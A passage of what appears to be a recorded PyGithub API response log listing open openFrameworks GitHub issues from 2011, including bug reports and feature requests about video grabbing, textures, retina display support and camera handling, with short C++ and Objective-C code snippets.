grayImage.getCvImage(), 0, 1, 3 );\r\n\r\nThis works fine in 0062.\r\n\r\nCheers\r\n- rS","number":462,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":580717,"closed_at":null,"created_at":"2011-02-07T15:58:19Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"get number of input devices and device IDs from ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/461","comments":0,"assignee":null,"updated_at":"2011-02-07T19:38:51Z","body":"Currently, the ofVideoGrabber can list devices to stdout, but does not return the number of available devices. I propose that either listDevices() return an int or a new function be added, something like getNumDevices() or a getDeviceNums() which returns a vector of valid device ids. This could be related to Arturo's Issue where the devices could be retrieved as strings. I think it makes sense to have these as static functions so that you could open all available cameras into an Array of ofVideoGrabbers by retrieving the number of devices and their ids to open them.","number":461,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/461","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":580556,"closed_at":null,"created_at":"2011-02-07T15:24:21Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"saveImage() and other save operations should create missing directories","html_url":"https://github.com/openframeworks/openFrameworks/issues/460","comments":8,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-08T15:56:48Z","body":"i feel like it happens relatively often where i try to save an image (for example) and the parent directories don't exist, so it just fails without really saying anything.\r\n\r\nit would be nice if the dir(s) were just created automatically for you.","number":460,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":579790,"closed_at":null,"created_at":"2011-02-07T07:52:25Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTexture::allocate not checking for unnecessary reallocation","html_url":"https://github.com/openframeworks/openFrameworks/issues/454","comments":0,"assignee":null,"updated_at":"2011-02-06T04:26:44Z","body":"ofPixels::allocate is smart in that it doesn't reallocate if you ask for the same size as what's already there. ofTexture should work the same way to avoid unnecessary overhead.","number":454,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":578069,"closed_at":null,"created_at":"2011-02-06T04:26:44Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't work with ofSetOrientation","html_url":"https://github.com/openframeworks/openFrameworks/issues/449","comments":0,"assignee":null,"updated_at":"2011-02-02T00:03:09Z","body":"maybe a generic 'transformer' function would handle both this and mouse coordinates, and anything else? ofPoint ofGetAsbolutePosition(x,y)?","number":449,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":568540,"closed_at":null,"created_at":"2011-02-02T00:03:09Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"no way to get imageType of ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/446","comments":0,"assignee":null,"updated_at":"2011-01-31T19:26:41Z","body":"ofVideoGrabber has getOFPixels in the .h, but it isn't implemented in the .cpp.\r\n\r\nmaybe this is just a signal that ofPixels stuff needs to be resolved soon... :) i'd be glad to help with this if possible.","number":446,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":565122,"closed_at":null,"created_at":"2011-01-31T19:26:41Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofGetElapsedTimeMillis returns an int instead of unsigned long","html_url":"https://github.com/openframeworks/openFrameworks/issues/428","comments":0,"assignee":null,"updated_at":"2011-01-28T06:28:01Z","body":"the start time is stored internally as an unsigned long, but ofGetElapsedTimeMillis returns it as an int. ofGetElapsedTimef also does calculations using time as an int. this means time wraps around every (2^31 - 1) milliseconds in days = 24.8 days.\r\n\r\nas an unsigned long it would be (2^64 - 1) milliseconds in years = 584 million years :)","number":428,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/428","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"}],"id":558215,"closed_at":null,"created_at":"2011-01-28T06:28:01Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","url":"https://api.github.com/users/NickHardeman","login":"NickHardeman","id":142694,"avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Check ofShader Texture Wrap Parameters","html_url":"https://github.com/openframeworks/openFrameworks/issues/424","comments":1,"assignee":null,"updated_at":"2011-12-02T21:05:54Z","body":"I thought checking for custom texture wrapping in ofShader might be useful. Not sure how to add a label to this :/\n\n#include ofGraphics.h\n\nvoid setUniformTexture(const char* name, ofBaseHasTexture& img, int textureLocation=-1);\nvoid setUniformTexture(const char* name, ofTexture& img, int textureLocation=-1);\n\nvoid ofShader::setUniformTexture(const char* name, ofTexture& tex, int textureLocation) {\n\tif(bLoaded) {\n\t\t\n\t\tGLfloat wrapS = -1;\n\t\tGLfloat wrapT = -1;\n\t\t\n\t\tif (ofGetUsingCustomTextureWrap()) {\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, &wrapS);\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, &wrapT);\n\t\t}\n\t\t\n\t\tofTextureData texData = tex.getTextureData();\n\t\tif (textureLocation < 0) textureLocation = texData.textureID;\n\t\tglActiveTexture(GL_TEXTURE0 + textureLocation);\n\t\tglEnable(texData.textureTarget);\n\t\t\n\t\tif(wrapS > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrapS);\n\t\tif(wrapT > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrapT);\n\t\t\n\t\tglBindTexture(texData.textureTarget, texData.textureID);\n\t\tglDisable(texData.textureTarget);\n\t\tsetUniform1i(name, texData.textureID);\n\t\tglActiveTexture(GL_TEXTURE0);\n\t}\n}","number":424,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":556923,"closed_at":null,"created_at":"2011-01-27T19:43:31Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"problem with reloading movies in osx","html_url":"https://github.com/openframeworks/openFrameworks/issues/423","comments":0,"assignee":null,"updated_at":"2011-01-24T22:34:29Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222","number":423,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/423","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548302,"closed_at":null,"created_at":"2011-01-24T22:34:29Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"117a7eecfee7c7f7e954623fd96e1b6e","url":"https://api.github.com/users/snibbe","login":"snibbe","id":581517,"avatar_url":"https://secure.gravatar.com/avatar/117a7eecfee7c7f7e954623fd96e1b6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Retina display support **that doesn't crash devices!** with backward compatibility to OS 3.0","html_url":"https://github.com/openframeworks/openFrameworks/issues/421","comments":2,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2011-12-05T22:03:15Z","body":"Hi guys,\r\n\r\nI posted to the OF forum a solution back in August to support retina display with backward compatibility to pre-OS 4.0 devices:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4185&start=15\r\n\r\nIf it's still outstanding, here's the solution!\r\n\r\nEAGLView.mm, initWithFrame, after the eaglLayer.drawableProperties assignment, add:\r\n\r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n if ([[UIScreen mainScreen] scale] > 1) {\r\n // code below doesn't work on iPad 3.2 OS and below, but doesn't need to because scale is 1\r\n [self setContentScaleFactor:[[UIScreen mainScreen] scale]];\r\n }\r\n }\r\n\r\nofAppiPhoneWindow.mm, timerLoop, after [ofxiPhoneGetGLView() startRender]; add:\r\n\r\n int ofwidth = ofGetWidth();\r\n int ofheight = ofGetHeight();\r\n \r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n ofwidth *= [[UIScreen mainScreen] scale];\r\n ofheight *= [[UIScreen mainScreen] scale];\r\n }\r\n\r\nthen change the glViewport calls:\r\n\r\n\t// this could be taken out and included in ofAppBaseWIndow\r\n\tif(orientation == OFXIPHONE_ORIENTATION_PORTRAIT || orientation == OFXIPHONE_ORIENTATION_UPSIDEDOWN)\r\n\t\tglViewport( 0, 0, ofwidth, ofheight );\r\n\telse\r\n\t\tglViewport( 0, 0, ofheight, ofwidth );","number":421,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/421","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548070,"closed_at":null,"created_at":"2011-01-24T20:52:18Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"something to wrap glMultMatrixf","html_url":"https://github.com/openframeworks/openFrameworks/issues/418","comments":0,"assignee":null,"updated_at":"2011-01-22T15:57:37Z","body":"suggestions:\r\n\r\n ofPopMatrix(ofMatrix4x4 m)\r\n\r\n ofMultMatrix(ofMatrix4x4 m)\r\n\r\n ofMatrix4x4::apply();\r\n ofMatrix4x4::push();","number":418,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543729,"closed_at":null,"created_at":"2011-01-22T15:57:37Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"3D isn't scale invariant in certain parts","html_url":"https://github.com/openframeworks/openFrameworks/issues/417","comments":0,"assignee":null,"updated_at":"2011-01-22T15:24:07Z","body":"e.g.\r\n\r\n void ofEasyCam::reset() {\r\n\ttarget.resetTransform();\r\n\tdistance = 100;\r\n }\r\n\r\nofNode's\r\n\tvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nsuggestions:\r\n\r\nglobal variable called something like 'base3DScaleFactor = 10.0f' which will affect all of these current constant scale factors","number":417,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543694,"closed_at":null,"created_at":"2011-01-22T15:24:07Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Simulator not working with any examples ","html_url":"https://github.com/openframeworks/openFrameworks/issues/414","comments":3,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T05:00:35Z","body":"Getting this error after the app launches in simulator mode \r\n\r\nDetected an attempt to call a symbol in system libraries that is not present on the iPhone:\r\n\r\n","number":414,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/414","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":539979,"closed_at":null,"created_at":"2011-01-20T20:17:35Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera::setPan is broken","html_url":"https://github.com/openframeworks/openFrameworks/issues/413","comments":1,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"","number":413,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/413","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539915,"closed_at":null,"created_at":"2011-01-20T20:01:00Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"add setMultisampling method to glutWindow","html_url":"https://github.com/openframeworks/openFrameworks/issues/412","comments":0,"assignee":null,"updated_at":"2011-01-20T19:33:30Z","body":"multisampling is now working in linux through the display string option. perhaps we could add a method to easily set it if it also works on win/osx","number":412,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"244569","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows"}],"id":539845,"closed_at":null,"created_at":"2011-01-20T19:33:30Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera / ofEasyCamera does not work correctly for iPhone / iPad","html_url":"https://github.com/openframeworks/openFrameworks/issues/410","comments":2,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"Needs to take into account the rotation and the flipping happening in ofAppiPhoneWindow::timerLoop() \n\nAlso the internal call to ofViewport causes clipping in horizontal mode. \n\nIts currently very difficult to setup the camera correctly for iPad / iPhone - would be great if the default for ofCamera would be to start with the typical OF camera view. ","number":410,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539744,"closed_at":null,"created_at":"2011-01-20T18:59:10Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofEnableLighting","html_url":"https://github.com/openframeworks/openFrameworks/issues/406","comments":0,"assignee":null,"updated_at":"2011-01-19T19:39:37Z","body":"ofLight bug not sure what the ios equivalent is..\r\n\r\nglColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE); is not supported in IOS","number":406,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":537416,"closed_at":null,"created_at":"2011-01-19T19:39:36Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't match rest of openFrameworks coordinates","html_url":"https://github.com/openframeworks/openFrameworks/issues/405","comments":0,"assignee":null,"updated_at":"2011-01-19T13:24:54Z","body":"Suggest change line 126 of ofGraphics.h to\r\n\tglViewport(x, ofGetHeight() - y - height, width, height);\r\n\r\nto be in line with rest of openFrameworks coordinate system\r\ne.g. ofRect(myRect) matches ofViewport(myRect)\r\n","number":405,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":536614,"closed_at":null,"created_at":"2011-01-19T13:24:53Z"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=12 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4932'), ('content-length', '38352'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"679d499a026b6f6d6a1e20857a7392dc"'), ('date', 'Tue, 29 May 2012 19:27:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-01-17T23:39:31Z","body":"it should be only in the implementations and queried by the grabber/player in case an implementation doesn't support a format if not the app can crash or have really weird results","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403","comments":0,"milestone":null,"number":403,"html_url":"https://github.com/openframeworks/openFrameworks/issues/403","assignee":null,"title":"setPixelFormat shouldn't be stored in videoGrabber/Player","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-17T23:39:31Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":532954,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-17T16:37:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400","comments":0,"milestone":null,"number":400,"html_url":"https://github.com/openframeworks/openFrameworks/issues/400","assignee":null,"title":"ofTTF should have setAnchorPercent so you can draw strings centered, right aligned etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-17T16:37:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":532096,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:33:14Z","body":"every frame, it should update the pmouse value. so if you don't move the mouse, the pmouse value is equal to the current value.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391","comments":1,"milestone":null,"number":391,"html_url":"https://github.com/openframeworks/openFrameworks/issues/391","assignee":null,"title":"ofGetPreviousMouseX/Y() does not update per 